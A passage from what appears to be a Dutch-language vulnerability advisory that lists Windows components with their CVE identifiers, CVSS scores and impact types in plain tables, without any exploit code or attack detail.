\n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: 